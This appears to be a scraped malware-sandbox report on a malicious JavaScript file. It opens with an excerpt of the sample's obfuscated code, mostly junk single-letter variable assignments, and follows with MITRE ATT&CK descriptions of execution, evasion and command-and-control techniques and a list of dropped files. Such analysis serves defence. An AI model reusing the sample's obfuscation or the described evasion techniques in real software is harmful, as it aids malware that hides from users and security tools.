1374	spnoszalh = "E";
1375	spnoszalh = "z";
1376	spnoszalh = "L";
1377	spnoszalh = "h";
1378	spnoszalh = "C";
1379	spnoszalh = "E";
1380	spnoszalh = "p";
1381	spnoszalh = "l";
1382	spnoszalh = "M";
1383	spnoszalh = "x";
1384	spnoszalh = "b";
1385	spnoszalh = "F";
1386	spnoszalh = "k";
1387	spnoszalh = "q";
1388	spnoszalh = "b";
1389	spnoszalh = "a";
1390	spnoszalh = "D";
1391	spnoszalh = "b";
1392	spnoszalh = "K";
1393	spnoszalh = "p";
1394	spnoszalh = "r";
1395	spnoszalh = "x";
1396	spnoszalh = "B";
1397	spnoszalh = "N";
1398	spnoszalh = "G";
1399	spnoszalh = "M";
1400	spnoszalh = "u";
1401	spnoszalh = "n";
1402	ithzlgbdn = "R";
1403	ithzlgbdn = "g";
1404	ithzlgbdn = "C";
1405	ithzlgbdn = "d";
1406	ithzlgbdn = "T";
1407	ithzlgbdn = "l";
1408	ithzlgbdn = "O";
1409	ithzlgbdn = "G";
1410	ithzlgbdn = "a";
1411	ithzlgbdn = "o";
1412	ithzlgbdn = "H";
1413	ithzlgbdn = "c";
1414	qtuuxb = "W";
1415	qtuuxb = "Z";
1416	qtuuxb = "S";
1417	qtuuxb = "q";
1418	qtuuxb = "K";
1419	qtuuxb = "h";
1420	qtuuxb = "i";
1421	qtuuxb = "B";
1422	qtuuxb = "q";
1423	qtuuxb = "W";
1424	qtuuxb = "q";
1425	qtuuxb = "a";
1426	qtuuxb = "U";
1427	qtuuxb = "t";
1428	qtuuxb = "F";
1429	qtuuxb = "l";
1430	qtuuxb = "I";
1431	qtuuxb = "x";
1432	qtuuxb = "S";
1433	qtuuxb = "b";
1434	qtuuxb = "o";
1435	qtuuxb = "F";
1436	qtuuxb = "W";
1437	qtuuxb = "P";
1438	qtuuxb = "I";
1439	qtuuxb = "x";
1440	qtuuxb = "T";
1441	qtuuxb = "m";
1442	qtuuxb = "j";
1443	qtuuxb = "p";
1444	qtuuxb = "J";
1445	qtuuxb = "B";
1446	qtuuxb = "K";
1447	qtuuxb = "t";
1448	qtuuxb = "@";
1449	umcloi = "Y";
1450	umcloi = "o";
1451	umcloi = "L";
1452	umcloi = "J";
1453	umcloi = "Z";
1454	umcloi = "c";
1455	umcloi = "q";
1456	umcloi = "u";
1457	umcloi = "i";
1458	umcloi = "w";
1459	umcloi = "E";
1460	umcloi = "H";
1461	umcloi = "q";
1462	umcloi = "b";
1463	umcloi = "P";
1464	umcloi = "I";
1465	umcloi = "g";
1466	umcloi = "c";
1467	umcloi = "L";
1468	umcloi = "m";
1469	umcloi = "L";
1470	umcloi = "e";
1471	umcloi = "Y";
1472	umcloi = "m";
1473	umcloi = "J";
1474	umcloi = "F";
1475	umcloi = "F";
1476	umcloi = "A";
1477	umcloi = "R";
1478	umcloi = "L";
1479	umcloi = "z";
1480	umcloi = "G";
1481	umcloi = "f";
1482	umcloi = "T";
1483	umcloi = "N";
1484	umcloi = "a";
1485	teyois = "N";
1486	teyois = ".";
1487	gksnm = "y";
1488	gksnm = "n";
1489	gksnm = "s";
1490	gksnm = "W";
1491	gksnm = "D";
1492	gksnm = "z";
1493	gksnm = "S";
1494	gksnm = "j";
1495	gksnm = "g";
1496	gksnm = "p";
1497	gksnm = "w";
1498	gksnm = "x";
1499	gksnm = "g";
1500	gksnm = "L";
1501	gksnm = "f";
1502	gksnm = "P";
1503	gksnm = "v";
1504	gksnm = "P";
1505	gksnm = "G";
1506	gksnm = "c";
1507	gksnm = "C";
1508	yxkaqaqop = "u";
1509	yxkaqaqop = "W";
1510	yxkaqaqop = "u";
1511	yxkaqaqop = "o";
1512	yxkaqaqop = "i";
1513	yxkaqaqop = "e";
1514	yxkaqaqop = "Y";
1515	yxkaqaqop = "e";
1516	yxkaqaqop = "w";
1517	yxkaqaqop = "H";
1518	yxkaqaqop = "d";
1519	yxkaqaqop = "o";
1520	yxkaqaqop = "w";
1521	yxkaqaqop = "D";
1522	yxkaqaqop = "d";
1523	yxkaqaqop = "q";
1524	yxkaqaqop = "G";
1525	yxkaqaqop = "i";
1526	yxkaqaqop = "T";
1527	yxkaqaqop = "z";
1528	yxkaqaqop = "l";
1529	yxkaqaqop = "w";
1530	yxkaqaqop = "B";
1531	yxkaqaqop = "d";
1532	yxkaqaqop = "t";
1533	yxkaqaqop = "I";
1534	yxkaqaqop = "H";
1535	yxkaqaqop = "W";
1536	yxkaqaqop = "a";
1537	yxkaqaqop = "G";
1538	yxkaqaqop = "a";
1539	yxkaqaqop = "c";
1540	yxkaqaqop = "T";
1541	yxkaqaqop = "E";
1542	yvqvsou = "C";
1543	yvqvsou = "V";
1544	yvqvsou = "H";
1545	yvqvsou = "Z";
1546	yvqvsou = "t";
1547	yvqvsou = "E";
1548	yvqvsou = "W";
1549	yvqvsou = "h";
1550	yvqvsou = "a";
1551	yvqvsou = "F";
1552	yvqvsou = "J";
1553	yvqvsou = "m";
1554	yvqvsou = "b";
1555	yvqvsou = "s";
1556	yvqvsou = "o";
1557	yvqvsou = "n";
1558	yvqvsou = "r";
1559	yvqvsou = "U";
1560	yvqvsou = "Q";
1561	yvqvsou = "N";
1562	yvqvsou = "T";
1563	yvqvsou = "o";
1564	yvqvsou = "U";
1565	yvqvsou = "j";
1566	yvqvsou = "x";
1567	yvqvsou = "Y";
1568	yvqvsou = "r";
1569	yvqvsou = "e";
1570	yvqvsou = "O";
1571	zybvea = "D";
1572	zybvea = "X";
1573	zybvea = "J";
1574	zybvea = "T";
1575	zybvea = "S";
1576	zybvea = "b";
1577	zybvea = "Y";
1578	zybvea = "x";
1579	zybvea = "a";
1580	zybvea = "R";
1581	zybvea = "X";
1582	zybvea = "C";
1583	zybvea = "z";
1584	zybvea = "A";
1585	zybvea = "f";
1586	zybvea = "w";
1587	rcaryn ( );	rcaryn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 467631239147784826.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\af2af1b1-95d5-4140-9127-0f6f16f61e81.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2944

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
467631239147784826.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre